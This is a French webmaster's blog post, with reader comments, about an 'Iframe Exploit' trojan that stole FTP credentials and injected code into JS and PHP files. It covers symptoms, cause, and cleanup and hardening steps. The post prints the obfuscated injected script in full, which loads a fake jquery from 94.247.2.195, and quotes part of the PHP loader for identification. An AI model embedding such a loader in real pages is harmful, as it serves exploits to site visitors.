Votre site a été piraté par 94.247.2.195 : tous les fichiers JS et PHP sont attaqués

Satané Trojan à la @#^\§*. Je viens de passer 24h quasi sans dormir ni manger pour trouver la solution ! Ce malotru m’a infecté une dizaine de sites (pro, sinon c’est pas drôle), avec à la clé des milliers de fichiers à remettre à jour… Sur ce sujet qui traîne depuis début avril, il y a bien des infos éparses sur le Web mais aucune piste claire. Mais les Lettons n’auront pas le dernier mot !
 
Pour ceux d’entre vous qui ont vu leur site hacké récemment par le Trojan Iframe Exploit, j’ai enfin compris le problème… et je pense avoir réussi à m’en protéger. Si vous avez subi cette attaque, voici des pistes pour vous en sortir.


Satané Trojan à la @#^\§*. Je viens de passer 24h quasi sans dormir ni manger pour trouver la solution ! Ce malotru m’a infecté une dizaine de sites (pro, sinon c’est pas drôle), avec à la clé des milliers de fichiers à remettre à jour… Sur ce sujet qui traîne depuis début avril, il y a bien des infos éparses sur le Web mais aucune piste claire. Mais les Lettons n’auront pas le dernier mot !
 
Pour ceux d’entre vous qui ont vu leur site hacké récemment par le Trojan Iframe Exploit, j’ai enfin compris le problème… et je pense avoir réussi à m’en protéger. Si vous avez subi cette attaque, voici des pistes pour vous en sortir.

Les symptômes

1. un navigateur qui ralentit

Le sites hackés causent un ralentissement du PC, et surchargent la mémoire de Firefox lorsque vous les visitez. En toute discrétion, ils lancent un processus Adobe Reader qui tente d’exploiter une faille (buffer overflow) ancienne et souvent active lorsque votre Adobe Reader n’est pas à jour. Il ouvre ensuite une porte pour tous les virus de la terre, trop contents de venir s’éclater ensemble.

2. des fichiers JS vérolés

Le comportement du site est causé par des fichiers javascript vérolés. A la fin de chacun de vos fichiers JS (mais également dans les balises script de vos fichiers HTML ou templates), on trouve en effet un bout de code entre commentaires : <!--
document.write(unescape('h2T%3CscrILipt%20Nwsrc20%3D%2F%2F9tF4%2E2Nw4720%2E7652tF%2E195%2F20j765qNwuh2TeILry%2ENwj20sr5%3E765%3C%2Fsh2TcILrr5ipILt%3E').replace(/is|r5|tF|Nw|ay2|20|IL|765|h2T/g,""));
-->
qui envoie des requêtes vers un serveur situé en Lettonie (l’ip du site est 94.247.2.195) en essayant de charger un faux jquery. Mais comment les javascripts ont-ils pu être changés sur mon serveur ?

3. des fichiers PHP modifiés

Les fichiers JS et HTML ont été modifiés par mes scripts PHP ou includes, qui possèdent une ligne supplémentaire au tout début. Elle commence par <?php if(!function_exists('tmp_lkojfghx')  et se termine une fonction tmp_lkojfghx2(); qui exécute le tout.
Tous les fichiers comportant le terme index (index.php), config (config.inc), password, db, sql ou inc sont touchés, dans les limites de l’arborescence permise par le FTP. J’ai des centaines de fichiers infectés, c’est le drame !

Comment mon site a-t-il été hacké ?

Un vol de codes FTP

Après avoir cherché comment les fichiers avaient été modifiés, j’ai découvert que quelques minutes avant l’heure de modification des fichiers (liste qu’on obtient avec la commande find . -ctime -1 -name \*.php -ls),  une connexion FTP d’Allemagne jamais vue avait été effectuée sur mon serveur. Il n’y a pas eu 5000 tentatives de cassage en brute force, juste un login réussi. Le vilain a donc eu accès au serveur en FTP, et répandu ses bouts de code automatiquement dans tous les fichiers script concernés.

Comment a-t-il procédé ?

J’ai pensé à tout, et lu toutes sortes de spéculations sur le Web : injection SQL, cross site scripting, faille de CMS, faille de FTP, versions de serveur pas à jour.

J’ai mis du temps à faire le lien entre les plantages répétés de mon ordinateur portable de bureau dans Filezilla et les accès FTP. BON SANG MAIS C’ETAIT BIEN SUR : le Trojan était sur mon poste. C’était un keylogger ou un sniffer, un logiciel qui intercepte les données tapées au clavier ou échangées en clair sur le réseau pour récupérer des infos critiques… comme des mots de passe FTP. Pas étonnant que mon deuxième serveur, jusqu’ici épargné, et avec une architecture différente (PHP5.2 au lieu de 4.0, Debian Etch au lieu de Sarge, logiciel pure-FTPD au lieu de ProFTPD) soit attaqué quelques heures après par le même serveur allemand.

En réalité j’avais chopé ce Trojan sur un site quelques heures avant et il lui a suffi « d’écouter » mes échanges FTP pour récupérer mes codes.

Plan d’actions

1. Bloquer le serveur

Votre site envoie des virus au monde entier. Il serait sympathique pour tout le monde de l’arrêter. Soit en renommant les racines des sites de www en temp_www (facile si on a accès au niveau supérieur à www) soit en mettant des Deny from all dans le .htaccess à la racine du site.

2. Nettoyer votre PC infecté

Si vous ne faites rien pour nettoyer votre ordinateur, ses accès FTP (et autres données sensibles) continueront à être interceptées par le trojan. Utilisez MalwareBytes (dernière version), ajoutez un coup de Spybot ou Antivir au cas où.
NB : pour savoir si un PC est infecté, ouvrez la base de registres (Démarrer > Exécuter > regedit) et trouvez la clé HKEY_LOCAL_MACHINES > Software > Microsoft > Windows NT > Current Version > Drivers32. Le trojan installe son keylogger comme un pilote audio auxiliaire (aux, aux2, aux:…). Au lieu d’avoir un nom de fichier type wmaud.drv, vous trouverez c:\windows\..\system32\[un nom au hasard, ex. zkezqt.dfr]. Le fichier en question est en fait dans c:\windows et peut s’effacer, mais cela ne suffira pas à nettoyer la machine.

4. Bloquer l’accès au FTP

Modifier les mots de passe FTP, c’est indispensable mais seulement une fois qu’on est sûr que le keylogger ne va pas nous espionner à nouveau.

Autre bonne pratique qui n’était (bizarrement) pas en place chez mes deux hébergeurs : le filtrage des FTP par IP. Dans la plupart des cas, seul l’admin du site a besoin d’un accès FTP, et il disposera généralement d’une IP fixe. En implémentant un filtrage par IP de type whitelist (on bloque tout sauf une sélection d’IP autorisées) côté serveur, les codes d’accès ne suffiront pas pour modifier le site. Cela se fait via le firewall de votre hébergeur, les iptables ou la configuration de votre serveur FTP.

3. Remettre des fichiers sains

Pour remettre le site en ligne, le mieux est d’avoir un sauvegarde rsync chez l’hébergeur pour remettre en route le site rapidement. Si vous avez une copie locale, il va falloir TOUT réuploader, ce qui peut être très long. Solution bourrine pour les experts de la ligne de commande : faire un rechercher-remplacer avec des find, des grep et des sed, mais c’est compliqué et risqué.

4. Derniers conseils :

mettez à jour votre Adobe Reader sur les postes client
mettez à jour votre Firefox (automatiquement, c’est mieux)
restreignez autant que possible les droits d’accès de chaque compte FTP : en volant un code unique, on ne doit pas avoir accès à tous les sites d’un serveur

Voilà, j’espère que ces quelques pistes vous éviteront la galère que je viens de vivre. Si vous avez d’autres éléments d’information, n’hésitez pas à les communiquer, je complèterai.

Outil de référencement professionnel - essai gratuit Ce contenu a été publié dans Développement PHP, avec comme mot(s)-clé(s) , , , , . Vous pouvez le mettre en favoris avec ce permalien.

9 réponses à Votre site a été piraté par 94.247.2.195 : tous les fichiers JS et PHP sont attaqués

  1. HAMARAH.com dit :

    Nuits blanches

    Juste pour vous donner une idée de comment se déroule (et se soigne) un piratage, lisez donc cette page du Potlatch… Cette fois, ce n’est pas HAMARAH.com qui en a été victime… mais ça aurait pu. Ces petits rigolos de desperados n……

  2. Guylux dit :

    Bon sang de bonsoir… la bonne idée de venir te lire ce soir !!! Je n’ai pas utilisé de connection FTP depuis 2 jours et je m’aperçois que j’ai le même genre de config que toi (Acrobat Reader pas à jour, Windows…). A tout hasard, tu pourrais nous dire quel est l’Antivirus qui a laissé passé ça ?!
    Bon, en tout cas, ça faisait longtemps que j’y pensais, je passe à l’acte demain : j’achète une deuxième machine sous Linux pour TOUS mes échanges avec le monde extérieur. Le PC sous Win ne servira plus que pour Photoshop et les tests en local avec IE.
    … et bon courage pour ton backup !

  3. Gus dit :

    Thank you for this post, I was going crazy about why my pages are so slow this weekend. You helped a lot. I translated it to English on my blog here link to bit.ly (and gave you credit at the end of it)

  4. cocota dit :

    Depuis 3 mois je galère avec exactement le même problème….tous mes sites qui étaient enregistrés dans Fizilla ont été touché….6 sites en tout sur 3 héberguer differents, dont une intrusion dans un des 3 hebergeurs avec ajout d’un malware dans la console d’admin de l’hebergeur (Cpanel).

    La seule solution trouvé a été de changer de PC car même en changeant le DD, les problèmes continuaient alors que tous les mots de pass FTP avaient été changés …..
    Ya dejà un blème de sécurité que je ne comprendrais jamais, pourquoi certains hébergeurs (trés bon d’ailleurs), utilise les même infos de connections pour le Cpanel que pour le http://FTP…..
    C’est une vrai saloperie ce truc…..
    Je pense m’en etre débarrassé mais je surveille activement….

  5. casto40 dit :

    Le problème, en fait, c’est Windows! ;)

  6. moi dit :

    good job and thanks you !

  7. chandour dit :

    quelle est la solution la mieu adaptee pour proteger son site contre les pirates ?

  8. effrayant, n’importe quel webmaster n’est pas capable de déduire tout ça, c’est certain… bravo!

  9. C’est effrayant mais merci pour tous ces conseils. Je viens d’installer AntiMalware… et de découvrir un truc bizarre (apparemment pas trop méchant) sur mon disque dur. Un de mes sites venait d’être piraté en plus… Merci encore, je vais être très très vigilant à l’avenir !

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *